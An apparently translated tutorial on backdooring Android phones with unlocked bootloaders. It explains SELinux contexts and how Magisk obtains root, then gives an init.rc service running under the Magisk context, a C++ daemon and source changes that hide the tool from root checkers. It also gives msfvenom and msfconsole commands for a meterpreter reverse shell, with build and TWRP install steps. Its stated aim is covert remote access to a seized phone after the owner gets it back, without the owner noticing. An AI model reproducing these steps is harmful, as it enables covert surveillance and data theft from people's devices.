The SELinux context on processes and files can be viewed by adding the -Z flag to the command being executed. For example, to view the contexts on files in the current folder, you can call the ls -laZ command, and on processes, respectively, ps -efZ.

As mentioned above in the section on the system boot process, the first action that the init process takes is to load and apply SELinux policies, and one of the first policies applied is that the process with the context u: r: init: s0 is not allowed to transition to another context. ... SELinux policies are specially built on the principle "everything that is not allowed is prohibited", and the creators of the operating system, of course, made sure that an attacker who got the opportunity to register the launch of some service in autostart could not do this. The context of the init process is organized in such a way that it can only start those system services that have explicit permission to run at boot time, and this cannot be changed after the system is built.

SELinux can operate in three modes:
  • enforcing - all actions described by policies are logged and forced to follow the rules, i.e. if the action is not explicitly allowed, then it will not be performed
  • permissive - all actions described by policies are logged but do not follow the rules forcibly, i.e. even if the action is not explicitly allowed, it will be performed, despite the abuse in the logs
  • disabled - no actions are logged or limited
In a normally working android system of version 5.0, SELinux will always be in enforcing mode. If for some reason it is put into permissive mode, then the user will be shown a big scary notification about this and that his system is unsafe even before entering the unlock code. We definitely do not have the right to put SELinux into permissive mode, because this will give the user the fact that his device has been modified, and he may prefer to destroy the data.

In each version of android, starting from 5, SELinux policies are greatly tightened and less and less remain permitted. Ironically, starting from android 8, even if you flash the su executable file into the system partition and make it the system and owned by root: root, it will not be able to work without specially assigned policies.

Nevertheless, there are tools for obtaining root rights, and they are able to bypass MAC restrictions, work on the latest versions of android and even on devices that, in addition to them, additionally have separate mechanisms for monitoring system integrity (for example, Samsung devices). So how, then, does root work in modern reality?

How does root work?​

Once upon a time, to install root rights, it was enough to remount the system partition in read-write mode and copy the su executable file there. Then it became necessary to think about SELinux policies and AVB as well. Today, there are two main approaches to obtaining root rights, which can be conditionally called "legal" and "illegal".

Legal root-rights and LineageOS​

There is an absolutely legal way to obtain superuser rights in the system, without registration and SMS. All that is required for this is to assemble and install a non-release assembly of the system on the device. The presence of root access on it is logically justified, and is used by android developers to diagnose problems and collect information about the system on the device, debug system components, etc. You can read more about assembly types here. In short, there are build options eng, userdebug and user.

  • user is the release build for production. System restrictions are in full force.
  • userdebug is a "near release" build. Most of the restrictions also apply. It differs from the user option only in that it contains debug information and legally allowed root access.
  • eng is a fully debug version of the assembly, in addition to legal root access and debugging information, such an assembly contains additional tools for diagnosing, finding problems, profiling and debugging right on the device.
You can find out the build type on the device by requesting the corresponding property with the command: getprop ro.build.type On debug build types, the ro.build.type property will not be equal to user, and the ro.debuggable property will be set to 1.

Debug build types do not have the su executable file, and legal root access to them is obtained by restarting the adbd daemon using the adb root command. This is technically implemented as a simple condition in adb code. At startup, the adb daemon always starts as root, but at some point drops its privileges to the shell. On non-release assemblies, having received the adb root command, he does not lower his privileges to shell, and the user gets the opportunity to fully work as the root user. Especially in order for adb to be able to provide full access to the system in this way, there is a special context u: r: su: s0, which is collected and included in the policies if the assembly is not released. It allows the adb process to completely allow anything that would normally be prohibited by SELinux.

Code:
$ adb shell
$ id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
$ ^D
$ adb root
restarting adbd as root
$ adb shell
# id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:su:s0

Similarly, addonsu, which was supplied with LineageOS up to version 16 inclusive (now deprecated), gets root-rights "legally". It uses the approach of writing the su executable file to the / system / bin directory in the system partition, as well as with a daemon that has a prepared SELinux context and can start and stop depending on the system settings and provide root access to the shell if it allows it user. However, from a technical point of view, the approach is the same. LineageOS developers specifically put rules for addonsu in the source code, they do not know whether the owner will use it or not, but if it does, the su file will need these policies, so they are added to * .te files in the source code.

Code:
$ adb shell
$ su
# id
uid=0(root) gid=0(root) groups=0(root) context=u:r:sudaemon:s0

An interesting fact: not all LineageOS users, according to my observations, know that all official assemblies of this firmware are assembled and delivered in the debug version of userdebug. Many LineageOS users switch to it for the sake of better privacy and security, although the presence of an assembly on the device in debug mode strongly contradicts this, since you can get full access to the system with one command, even if no tools for obtaining root-rights have been installed.

I myself really love LineageOS, it is an excellent, stable and actively developing firmware that supports many devices, including those that the manufacturer himself has abandoned. I like its minimalism and the ability to very conveniently test and debug various system components on it and experiment with the system as a whole. However, the maintainers themselves warn that it was not geared towards security. Unfortunately, according to the authors, support for a huge share of currently supported devices, especially quite old ones, would be impossible if user assemblies were released, and on userdebug assemblies, unfortunately, it is possible to get root through debug mode, which of course will be a real gift for intruders or law enforcement officers,

Of course, there will be nothing like this on the stock firmware from the manufacturer. Everything that gets to users' devices is collected in the release user version, on which restarting adbd from root is prohibited.

Code:
$ adb root
adbd cannot run as root in production builds

We cannot rely on the fact that a phone with an unlocked bootloader will both contain LineageOS and have adb mode enabled, besides, the u: r: init: s0 context is not allowed to transition to the u: r: su: s0 context, so we can fix ourselves as the system daemon will still not work in this way, which means that we need to use a different approach to retrieve the data.

Illegal root rights and magisk​

I called the previous approach to gaining root privileges "legal" because everything needed to do this was deliberately built into the system at the build stage. A completely different approach uses the magisk rooting tool, which has become, de facto, the standard tool for these purposes in the android community. Magisk can be installed on any device, on any build, on any version of android, and not only on debug build options, but also on release builds, and even on those devices on which additional protection against unauthorized root access is applied. Magisk fully exploits the unlocked bootloader and, in fact, makes a real sophisticated hack, for which we will call it "illegal". The most important thing for us is that magisk, in fact, does everything that we want to do now. He is fixed in the system in the same way as we want to gain a foothold, which means that it looks like we are on the way with him.

First, let's try to figure out how magisk gets root rights at runtime. On the device we run:

Code:
$ adb shell
$ id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
$ su
# id
uid=0(root) gid=0(root) groups=0(root) context=u:r:magisk:s0
# ps -Zef
LABEL                          UID            PID  PPID C STIME TTY          TIME CMD
u:r:init:s0                    root             1     0 1 09:17 ?        00:00:01 init
u:r:magisk:s0                  root           658     1 0 09:24 ?        00:00:00 magiskd
u:r:zygote:s0                  root           695     1 1 09:24 ?        00:00:01 zygote64
u:r:zygote:s0                  root           696     1 0 09:24 ?        00:00:00 zygote
u:r:adbd:s0                    shell          956     1 1 09:25 ?        00:00:01 adbd --root_seclabel=u:r:su:s0
u:r:platform_app:s0:c512,c768  u0_a39        2800   695 4 09:35 ?        00:00:07 com.android.systemui
u:r:priv_app:s0:c512,c768      u0_a120       3909   695 1 10:26 ?        00:00:01 com.android.launcher3
u:r:untrusted_app:s0:c113,c25+ u0_a113       5218   695 1 10:48 ?        00:00:00 com.topjohnwu.magisk
u:r:shell:s0                   shell         5473   956 0 10:56 pts/0    00:00:00 sh -
u:r:magisk_client:s0           shell         5602  5473 0 10:59 pts/0    00:00:00 su
u:r:magisk_client:s0:c113,c25+ u0_a113       5629  5218 0 10:59 ?        00:00:00 su --mount-master
u:r:magisk:s0                  root          5633   658 0 10:59 ?        00:00:00 busybox sh
u:r:magisk:s0                  root          5708   658 0 11:02 pts/1    00:00:00 sh
u:r:magisk:s0                  root          5795  5708 7 12:49 pts/1    00:00:00 ps -Zef

I have reduced the output of the ps command to only the values we are interested in.

First, we see that magisk has a special context for its processes - u: r: magisk: s0. Our rooted shell has terminal pts / 1 and is started with this context. This is clearly not a built-in context, which means magisk was able to edit it and implement additional rules before starting the init process. Since our root rights work, and we really can do whatever we want on the system, the context u: r: magisk: s0 must have at least all the same permissions that are prescribed for u: r: su: s0, and maybe more.

Secondly, magisk has its own daemon running in the system - magiskd, it spawned our process with a root shell, which means that it is through it that magisk gives other processes access with a shell with root rights, this daemon (PID 658) is spawned by the init ( PPID 1), i.e. launched as a system service. The daemon also works in the context of u: r: magisk: s0.

We connected via adb and got a shell on the device, terminal pts / 0. You can see that the sh process has a context u: r: shell: s0, PID 5473 and PPID 956 which is equal to the PID value of adbd, and adbd itself has already been spawned by the init process.

We call the su executable file and see that its context is u: r: magisk_client: s0, hence magisk uses a separate context in order to know which executable files can request root access. The executable file provokes the opening of a window for confirming access to root rights for the regular shell, it is located in the MagiskManager application package - com.topjohnwu.magisk, having received the result magiskd (PID 658) spawned our shell sh with a new terminal pts / 1 (PID 5708, PPID 658), from which we inherited both the root user (uid = 0) and the omnipotent context u: r: magisk: s0.

What is interesting for us is this: if init is launched with its own context u: r: init: s0 bounded on all sides from which transitions are allowed only to the contexts for system services specified in * .te files, and the madjiska daemon has the context u: r : magisk: s0, so magisk was able to implement a rule allowing a direct transition from u: r: init: s0 to u: r: magisk: s0. This means that we can also use the u: r: magisk: s0 context in our service!

We enter the system with installed root-rights​

Let's make a small change, add the seclabel daemon to the description of our daemon, which determines which SELinux context init should assign to the running system service:

Code:
service revshell /system/bin/revshell
    disabled
    seclabel u:r:magisk:s0
    shutdown critical
 
on property:sys.boot_completed=1
    start revshell

Let's prepare an executable file for the daemon and build it for arm64.

Code:
#pragma once

#include <cerrno>
#include <cstdarg>
#include <cstring>
#include <string>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <dirent.h>
#include <pthread.h>
#include <signal.h>
#include <fcntl.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mount.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <android/log.h>

#define LOG_TAG "revshell"
#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR,    LOG_TAG, __VA_ARGS__)
#define LOGW(...) __android_log_print(ANDROID_LOG_WARN,     LOG_TAG, __VA_ARGS__)
#define LOGI(...) __android_log_print(ANDROID_LOG_INFO,     LOG_TAG, __VA_ARGS__)
#define LOGD(...) __android_log_print(ANDROID_LOG_DEBUG,    LOG_TAG, __VA_ARGS__)

#define ENCRYPTED_FS_CHECK_DIR "/data/data"
#define ENCRYPTED_FS_CHECK_PROOF "android"
revshell.hpp

#include "revshell.hpp"

bool check_fs_decrypted() {
    bool result = false;
    struct dirent *entry;
    DIR *dir = opendir(ENCRYPTED_FS_CHECK_DIR);
    if (dir == NULL) {
        return result;
    }
    while ((entry = readdir(dir)) != NULL) {
        if (strstr(entry->d_name, ENCRYPTED_FS_CHECK_PROOF)) {
            result = true;
        }
    }
    closedir(dir);
    return result;
}

int run_in_main_proc() {
    LOGD("Start successfull!\n");

    signal(SIGINT, SIG_IGN);
    signal(SIGHUP, SIG_IGN);
    signal(SIGQUIT, SIG_IGN);
    signal(SIGPIPE, SIG_IGN);
    signal(SIGCHLD, SIG_IGN);
    signal(SIGTTOU, SIG_IGN);
    signal(SIGTTIN, SIG_IGN);
    signal(SIGTERM, SIG_IGN);
    signal(SIGKILL, SIG_IGN);

    LOGD("Signals are set to ignore\n");

    int timer_counter = 0;
    int timer_step = 5;

    LOGD("Hey I'm a revshell process!\n");
    LOGD("My PID -- %d\n", getpid());
    LOGD("My parent PID -- %d\n", getppid());
    LOGD("My UID -- %d\n", getuid());
    LOGD("Awaiting encrypted FS decryption now...");

    while (true) {
        sleep(timer_step);
        timer_counter = (timer_counter + timer_step) % INT_MAX;
        if (check_fs_decrypted()) {
            LOGD("FS has been decrypted!");
            break;
        }
    }

    LOGD("Starting reverse shell now");
    while (true) {
        sleep(timer_step);
        timer_counter = (timer_counter + timer_step) % INT_MAX;
        LOGD("tick ! %d seconds since process started", timer_counter);
    }

    LOGD("Exit!\n");

    return 0;
}

int main(int argc, char *argv[]) {
    return run_in_main_proc();
}
revshel.cpp

I use this approach to demonstrate how it works, because it is so easy to understand that the service is working simply by connecting to logcat and reading the logs. Our executable file works as follows: it starts up, drops a welcome message into the logs, then it waits for the storage to be decrypted, for this it relies on the fact that an entry containing the string "android" will appear inside the directory with private application storages, which is present in the package name of many system applications , after that, it flushes a record into the logs that the storage has been decrypted and the reverse-shell is launched, and then just once every five seconds it flushes a message to the logs stating that it is up and running.

Reboot into TWRP, mount the system and copy the resulting executable file to / system / bin / revshell, and the daemon script to /system/etc/init/revshell.rc

We reboot the device and start listening to the logs:
Code:
$ adb logcat | grep revshell

When the system has booted, and the unlock code entry screen appeared, we see the following in the logs:
01-31 23:42:07.587 3589 3589 D revshell: Start successfull!
01-31 23:42:07.588 3589 3589 D revshell: Signals are set to ignore
01-31 23:42:07.588 3589 3589 D revshell: Hey I'm a revshell process!
01-31 23:42:07.588 3589 3589 D revshell: My PID -- 3589
01-31 23:42:07.588 3589 3589 D revshell: My parent PID -- 1
01-31 23:42:07.588 3589 3589 D revshell: My UID -- 0
01-31 23:42:07.588 3589 3589 D revshell: Awaiting encrypted FS decryption now...

Great, the repository hasn't been decrypted yet, but the daemon has started and is running successfully, the seclabel u: r: magisk: s0 trick worked!

Enter the unlock code and see in the logs:
01-31 23:42:27.597 3589 3589 D revshell: FS has been decrypted!
01-31 23:42:27.597 3589 3589 D revshell: Starting reverse shell now
01-31 23:42:32.597 3589 3589 D revshell: tick ! 25 seconds since process started
01-31 23:42:37.598 3589 3589 D revshell: tick ! 30 seconds since process started
01-31 23:42:42.599 3589 3589 D revshell: tick ! 35 seconds since process started
01-31 23:42:47.600 3589 3589 D revshell: tick ! 40 seconds since process started

Let's see the running processes through adb and see our daemon there:
Code:
$ adb shell
$ ps -Zef | grep revshell                                                                                                   
u:r:magisk:s0                  root          3589     1 0 23:42:06 ?     00:00:00 revshell
u:r:shell:s0                   shell         5546  5495 1 23:48:21 pts/0 00:00:00 grep revshell

It is started by the init process as a system service, we cannot kill it without root rights:
Code:
$ kill -9 3589
/system/bin/sh: kill: 3589: Operation not permitted

And after killing him with root rights, we will see that he was immediately restarted by the system, because this is exactly what the system does with critical system services:
Code:
$ su
# kill -9 3589
# ps -Zef | grep revshell                                                                                                   
u:r:magisk:s0                  root          5592     1 0 23:51:34 ?     00:00:00 revshell
u:r:magisk:s0                  root          5601  5573 5 23:52:08 pts/1 00:00:00 grep revshell

Fine. It already looks like success. We managed to embed an executable file that can open us remote access to the device directly into a smartphone with encrypted storage. We were able to launch it and we didn't have to unlock the smartphone, we didn't have to decrypt anything. It was enough to know about the features of storage encryption in smartphones and about the possibilities that the unlocked bootloader gave us.

However, for now, we rely on the rights that SELinux has granted us from the majisk context, and in order to retrieve data, we need to be able to run the same daemon, but on any device, including a device without root rights.

We enter the system without installed root rights​

The first thing that comes to mind is that we can simply take the device from which we want to extract data, flash magisk into it using TWRP, and then immediately flash our backdoor. Technically, this will work because along with magisk, its SELinux policies will be installed, thanks to which it will be able to work, but in this case, the user will immediately understand that something is wrong. It did not install magisk, but there is magisk on the device. This means that while the device was seized by the intruder, he was flashing something into it. The user will not be able to notice this before entering the unlock code, however, the problem is that during unlocking the Internet on the user's device may be turned off, we will not get remote access, and the user, upon discovering that they tried to flash something into his device, can delete necessary information, delete magisk, start figuring out what's wrong, detect a backdoor, or just reset the phone to factory settings, as a result of which the data of interest to us will be destroyed. If any antivirus solution is installed on the user's device, then it can raise the alarm if it detects that root-rights obtained through magisk have appeared in the system.

We need to try to avoid detection at all costs, since it depends on whether it will be possible to extract data from us or not. In fact, we, in general, do not need root rights in the usual sense, we do not need a terminal with uid = 0 in order to enter any commands. We do not need the su executable file, since uid = 0 we can get from the init process. We don't need the third-party tools that come with magisk either. We don't need MagiskManager app. All we are interested in is the u: r: magisk: s0 context. We get the context - we get remote access.

Not only do we not need all of the above, it is very desirable for us not to install any of this, because these are markers of compromise. If the user runs some popular check for root, then it will find us, the same can happen in one of the applications installed on his device, it will detect that root rights are installed on the phone and notify the user about it.

It is possible to detect root-rights on a device, in particular magisk, in different ways. You can simply check for an installed manager in the system or try to find the executable file su or magisk (magisk creates a symlink su which actually points to the magisk executable file)

One of the main features of magisk is that it creates mirrors - "magic mount points", which allow it to place files and directories directly "on top" of the mounted system partition, while in the filesystem it looks like they are a natural part of the immutable system partitions, although in fact they are in a special directory in that part of the userdata section, where an unprivileged application cannot look without root rights.

This allows you not to touch the system partition that is mounted read-only. This is how magisk adds its executables to the $ PATH using mirrors. This is how magisk modules work that extend the functionality of the system: add or replace executable files, system libraries or even jar files with android framework classes. It is for this that magisk got its name - "magic mask", a magic mask. And for this, he is called "systemless root", which is the honest truth, tk. magisk is installed only in the boot and userdata partitions and does not touch the system at all.

An interesting fact: starting with android 10, the APEX service appeared in the system, which is responsible for a simpler approach to delivering updates to system components. Its idea is to add to android the ability to selectively deliver updates to parts of the system: add new and replace existing system libraries and parts of the android framework, and the main thing is to do this in small packages, without having to download and install full images of all partitions as a whole. Moreover, it all fits into the standard package management model in android. That is, the idea is that this is something like an apk, but not for applications, but for the OS itself. This is critical for security, for example, so that in the event of a serious new vulnerability in the system library, such ashappened with libstagefright when 95% of devices on the market were vulnerable, and updates to many devices took months, Google could deliver an update with a patch to 100% of devices that support apex within a few hours. Ironically, this mechanism is very similar in principle to the work of magisk modules, and to how they are mounted on top of the system through mirrors. I can only assume this, but it is possible that the guys who played with the security of android devices and "hacked" them for fun inspired the android system developers with their approaches, who built an update system on this that would make each of our devices more impregnable for intruders ... In my opinion, this is great.

Coming back to magisk, the peculiarity of this approach is that magisk creates a lot of unnecessary mount points, especially if many magisk modules are installed.

Code:
$ cat /proc/mounts | grep magisk                                                                                             
/sbin/.magisk/block/system /sbin/.magisk/mirror/system ext4 ro,seclabel,relatime,block_validity,discard,delalloc,barrier,user_xattr 0 0
/sbin/.magisk/block/vendor /sbin/.magisk/mirror/vendor ext4 ro,seclabel,relatime,block_validity,discard,delalloc,barrier,user_xattr 0 0
/sbin/.magisk/block/data /sbin/.magisk/mirror/data ext4 rw,seclabel,relatime,discard,noauto_da_alloc,data=ordered 0 0
/sbin/.magisk/block/data /sbin/.magisk/modules ext4 rw,seclabel,relatime,discard,noauto_da_alloc,data=ordered 0 0

You can search the file system for files containing magisk in the name and find executable files:
Code:
$ find / -name "magisk" 2>/dev/null
/sbin/magiskpolicy
/sbin/magiskhide
/sbin/magisk
/sbin/magiskinit
/sbin/.magisk

You can see even more with root rights:
Code:
$ su                                                                                                                         
# find / -name "*magisk*" 2>/dev/null
/storage/emulated/0/Android/data/com.topjohnwu.magisk
/storage/emulated/0/Android/media/com.topjohnwu.magisk
/sbin/magiskpolicy
/sbin/magiskhide
/sbin/magisk
/sbin/magiskinit
/sbin/.magisk
/sbin/.magisk/mirror/data/system/package_cache/1/com.topjohnwu.magisk-DkH9A9_cUz6YvCX-YbQs4Q==-0
/sbin/.magisk/mirror/data/system/graphicsstats/1612051200000/com.topjohnwu.magisk
/sbin/.magisk/mirror/data/system/graphicsstats/1611964800000/com.topjohnwu.magisk
/sbin/.magisk/mirror/data/misc/profiles/cur/0/com.topjohnwu.magisk
/sbin/.magisk/mirror/data/misc/profiles/ref/com.topjohnwu.magisk
/sbin/.magisk/mirror/data/user_de/0/com.topjohnwu.magisk
/sbin/.magisk/mirror/data/magisk_backup_5063aa326352068974a1a161a798cd606e05dd12
/sbin/.magisk/mirror/data/app/com.topjohnwu.magisk-DkH9A9_cUz6YvCX-YbQs4Q==
/sbin/.magisk/mirror/data/data/com.topjohnwu.magisk
/sbin/.magisk/mirror/data/adb/magisk.db
/sbin/.magisk/mirror/data/adb/magisk
/sbin/.magisk/mirror/data/adb/magisk/magiskinit64
/sbin/.magisk/mirror/data/adb/magisk/magiskboot
/sbin/.magisk/mirror/data/adb/magisk/magiskinit
/sbin/.magisk/mirror/data/media/0/Android/data/com.topjohnwu.magisk
/sbin/.magisk/mirror/data/media/0/Android/media/com.topjohnwu.magisk
/mnt/runtime/write/emulated/0/Android/data/com.topjohnwu.magisk
/mnt/runtime/write/emulated/0/Android/media/com.topjohnwu.magisk
/mnt/runtime/read/emulated/0/Android/data/com.topjohnwu.magisk
/mnt/runtime/read/emulated/0/Android/media/com.topjohnwu.magisk
/mnt/runtime/default/emulated/0/Android/data/com.topjohnwu.magisk
/mnt/runtime/default/emulated/0/Android/media/com.topjohnwu.magisk
/data/system/package_cache/1/com.topjohnwu.magisk-DkH9A9_cUz6YvCX-YbQs4Q==-0
/data/system/graphicsstats/1612051200000/com.topjohnwu.magisk
/data/system/graphicsstats/1611964800000/com.topjohnwu.magisk
/data/misc/profiles/cur/0/com.topjohnwu.magisk
/data/misc/profiles/ref/com.topjohnwu.magisk
/data/user_de/0/com.topjohnwu.magisk
/data/magisk_backup_5063aa326352068974a1a161a798cd606e05dd12
/data/app/com.topjohnwu.magisk-DkH9A9_cUz6YvCX-YbQs4Q==
/data/data/com.topjohnwu.magisk
/data/adb/magisk.db
/data/adb/magisk
/data/adb/magisk/magiskinit64
/data/adb/magisk/magiskboot
/data/adb/magisk/magiskinit
/data/media/0/Android/data/com.topjohnwu.magisk
/data/media/0/Android/media/com.topjohnwu.magisk
/config/sdcardfs/com.topjohnwu.magisk
/cache/magisk.log

Also, magisk adds write permissions to some places on the filesystem where these permissions obviously should not be, and some applications for detecting root-rights detect it because of this.

In fact, magisk is very good at hiding from other processes using the MagiskHide service, which can hide all mount points and even replace some properties in the system, however, you cannot hide from a person who will examine the file system of the device, especially before the system boots. ... Therefore, a tech-savvy user will quickly detect the presence of magisk on their device. This is not suitable for our purposes, since if we are found, the data will not be retrieved.

This means that instead of roughly installing magisk, you need to do something nice - you need to figure out how exactly it is fixed in the system and how it makes init load fake SELinux policies.

The plan is as follows: we will take the magisk sources and build a tool from them that will inject the omnipotent context u: r: magisk: s0 into the system, but will no longer do anything. That is, our task is to install only magisk policies on the device instead of magisk.

First, we need to understand exactly how magisk is implemented into the system. The essence of installing magisk is as follows:
  • The installer finds the boot partition among the partitions on the disk
  • Dump the boot partition via nanddump into an image file and unpack it
  • Extracts a ramdisk image from it
  • Replaces the original init executable file in the ramdisk image with its own prepared one - magiskinit
  • Adds the original ramdisk with the original init to a backup that lies next to
  • Applies additional patches if necessary, which depend on devices and android version
  • Packs the boot partition image and flashes it in place of the original boot
  • Backs up the original boot partition to / data
At the end, we get a boot partition, in which, during system startup, while the kernel calls the init process to start and the actual initiation of the init process, a window appears in which magisk prepares everything necessary for its work while the system is already running.

If it's very rough, then it works like this: magiskinit starts, finds a file with policies, patches it adding the policies necessary for magisk to work after starting the system, adds entries to init.rc that will start the magiskd service during system boot and then starts the original init , which downloads the already patched policies instead of the original ones, and then the download occurs in the usual way. In fact, there are a lot of nuances in this process.

First, our ramdisk is read-only. We cannot take and rewrite the boot partition at will, and apply the changes on a permanent basis, so all file manipulations are performed in RAM, anew, every time the system is started.

Secondly, starting with android 9, and then at 10 and 11, the approach to organizing the file system during device operation, organizing the storage of the file with policies and, in general, the launch process itself, has changed dramatically.

Prior to android 9, compiled SELinux policies were always packed into a boot partition and lay right next to the kernel, then the split-policy mechanism appeared, when for each of the main partitions (system, vendor, sometimes there is also a product), policies are compiled and stored separately.

For magiskinit, this means that when it starts, it needs to mount all these partitions, collect separate files with policies from there, parse, pack and put into a single file, find a place for it in the file system (which also depends on many factors and the android version), then brutally patch the init executable file directly in binary form - find the place where the policy type is selected in the conditional construction, forcibly replace it from split-policy to mono-policy and replace the path to the file with policies with the one that was obtained in the previous step.

An init binary may not be available for modification because some devices have 2SI — two-stage-init or two-stage init. This is an approach in which the original init file from the ramdisk does not start the system, instead it mounts the system partition and starts / system / bin / init from there. In this case, magiskinit will have to patch libselinux in the system partition no less brutally directly in binary form.

And there is also the system-as-root approach in android , which is mandatory for android 10+ assemblies. It determines what exactly will be the root of the ramdisk or system file system. And both of these cases magiskinit must take into account. And in some conditions, on some devices, the ramdisk may not be present at all.

If you are interested in learning more, then the magisk developer very well and easily described how all these intricacies are arranged with init. I believe that for magisk developers this is a pure pain, if previously the download process was quite uniform and unsophisticated, now magisk developers spend a lot of effort to adapt to this, and given the pace of release of new versions of android, this is very difficult to do.

Nevertheless, for our task, the internal structure of magiskinit is of interest to us only in order to understand how exactly to inject the changes we need into the compiled policies and discard everything else.

In the source, we will be mainly interested in files from the init directory. In short, a list of changes that have been made to the code:
  • In the main () method in init.cpp, remove the calls to the dump magisk () and dump manager () methods .
  • In init.hpp, pay attention to the exec init () calls - these are calls to the original init. Before them, in all cases except FirstStageInit, add rm rf ("/. Backup") to hide the corresponding directory that will stick out in the file system of the running device. You don't need to do this in FirstStageInit, because this call will still be made during the second init stage.
  • In mount.cpp, we will be interested in the setuptmp () method, which is responsible for creating tmpfs in the file system where the links to the magisk executable files will be stored. This is usually the / sbin directory on the file system. We can completely remove this call to RootFSInit, since the mono-file with SELinux policies in this case is directly in the ramdisk, and is patched right there, but in android 10 and higher, with the arrival of the split-policy mechanism, it is there that the policies collected from all sections will be added to a single file, so it seems to us we will definitely have to leave it, but we can move it to / dev. Starting from android 11, this approach becomes the main one in magisk, because with android 11, the / sbin directory is not guaranteed to exist on the file system. We change the tmpfs mode from 755 to 700 so that the content cannot be viewed by an unprivileged user and root checkers that check for write access in suspicious places do not work. Remove the creation of magisk files and links in tmpdir. I could not completely get rid of tmpdir in android 10+ and keep the system working, but it seems to be not a problem. You won't be able to read tmpfs without root, and the name of the service directory can be changed from .magisk to any random one.
  • In rootdir.cpp, delete the code that patches init.rc to start the magisk daemon on the system
  • And finally, in core / bootstages.cpp, remove the code in the bootcomplete () method responsible for actions after the system boots - creating SECURE_DIR, this is the magisk service directory in userdata, in the file system it is usually located along the path / data / adb / magisk and starting the MagiskManager installation on first launch.
The output is something that can be called magisk without magisk. It will patch SELinux policies before starting init, putting the almighty context u: r: magisk: s0 there, but that's all - no root functionality and all that stuff.

It remains to tweak the scripts: the build script so that it adds our daemon executable file and the file describing the launch of this daemon to the package, and the installation script, in which to remove everything that copies magisk files to the device, add copying our files and saving backups to / tmp TWRP instead of userdata on the device.

Now you can start.

Checking on a real device​

To build and install, we need: python3, android-sdk, adb and fastboot, you may also need to install suitable usb drivers from your device manufacturer if the general ones do not work. We also need a TWRP build for your device, which can be downloaded from the official website.

You can download the assembled packages directly from the repository with the example, however, there is an executable file that was discussed above and which simply writes messages to logcat, so we will build it by hand to embed the executable file with the meterpreter stager and get a real remote shell.

We will catch a remote connection from a device on Kali in a virtual machine. To do this, generate a payload on it:
Code:
$ msfvenom -p linux/aarch64/meterpreter/reverse_tcp LHOST=<LISTENER_IP> LPORT=<LISTENER_PORT> -f elf > revshell

And let's set up the listener:
Code:
$ msfconsole -q
> use exploit/multi/handler
> set PAYLOAD payload/linux/aarch64/meterpreter/reverse_tcp
> set LHOST <LISTENER_IP>
> set LPORT <LISTENER_PORT>
> run -j

After that, we return to the host machine.

Clone the repository:
Code:
$ git clone https://github.com/LuigiVampa92/unlocked-bootloader-backdoor-demo.git
$ cd unlocked-bootloader-backdoor-demo

Replace the executable file in the revshell / revshell path with the load generated in Kali. After that, let's start assembling.

Let's create an environment variable for the build script pointing to the absolute path to android-sdk (depending on your operating system):
Code:
$ ANDROID_SDK_ROOT=/usr/lib/android-sdk
$ export ANDROID_SDK_ROOT

Preparing the NDK for assembly. This must be done through the installation script, because the script will need a separate isolated NDK instance for building and it will rely on it:
Code:
$ ./buildrevshell.py ndk

We start the assembly:
Code:
$ ./buildrevshell.py

The collected packages will be in the out directory.

Let's move on to the installation.

First, we reboot the device into fastboot mode. This is done differently on different devices. In most cases, you need to turn off the device, hold down one of the physical volume control buttons (for example, the volume up button) and without releasing it, press the power button for a few seconds.

Download TWRP:
Code:
$ fastboot boot twrp.img

A small important digression. I was able to test the work only on devices that I have myself. Among them were devices on android 9 and 10, LineageOS 16 and 17, with classic init as in old systems and two-stage-init + system-as-root. Among them there were no devices with system-as-root on android 9 and devices with A / B partitions. Therefore, if the configuration of your device is different, then unexpected problems may arise on it. I recommend making backups of important partitions and saving them in order to be able to restore them by hand in case something goes wrong.

Usually this will be the boot partition, you can make a backup after loading TWRP like this:
Code:
$ adb shell
# ls -la /dev/block/by-name | grep boot                                                                                                                                                                         
lrwxrwxrwx 1 root root   16 1973-02-14 07:56 boot -> /dev/block/sde19
# dd if=/dev/block/sde19 of=/tmp/boot.img
131072+0 records in
131072+0 records out
67108864 bytes transferred in 0.429 secs (156430918 bytes/sec)
# ^D
$ adb pull /tmp/boot.img
/tmp/boot.img: 1 file pulled, 0 skipped. 35.8 MB/s (67108864 bytes in 1.785s)

Check if you have separate sections for DTB, for this go to adb shell and run:
Code:
$ ls -la /dev/block/by-name | grep dtb

If you see dtb, dtbo and dtbs in the list, then make backups of them too.

A couple more on-duty warnings:
  • Please perform all actions only on your device.
  • Make sure that there is no important data on the device that is scary to lose
  • All actions are performed at your own peril and risk.
Go. Run sideload via GUI (Menu / Advanced / Sideload) or from terminal:
Code:
$ adb shell 'twrp sideload'

We sew:
Code:
$ adb sideload zip_reverse_shell_install.zip

Important! Here, depending on whether magisk was preinstalled on the device or not, the boot partition will be patched or not patched. If magisk was not previously installed on the device, then it will be necessary to save backups of the original partitions. This must be done, even if you have previously made backups by hand, otherwise you will also have to remove our tool by hand, because the uninstaller will rely on the presence of these backups, in this format. A big warning about this will also come out in the TWRP log.

We take out backups from the device:
Code:
$ adb pull /tmp/backup_original_partitions.

Now you can turn off or restart your device.

Removal from the device is performed in the reverse order:
Code:
Reboot to fastboot

$ fastboot boot twrp.img

If you saved backups during installation, then we call:
Code:
$ adb push backuporignialpartitions /tmp/backuporignialpartitions

Then:
Code:
$ adb shell 'twrp sideload'
$ adb sideload zip_reverse_shell_uninstall.zip

Result​

As part of our data retrieval task, we will assume that the device has been returned to the owner. The owner will turn it on, enter the unlock code and use it, and we will get a session in msfconsole and remote access to the device.

OnePlus 5T with unlocked bootloader. OxygenOS 10, no root installed

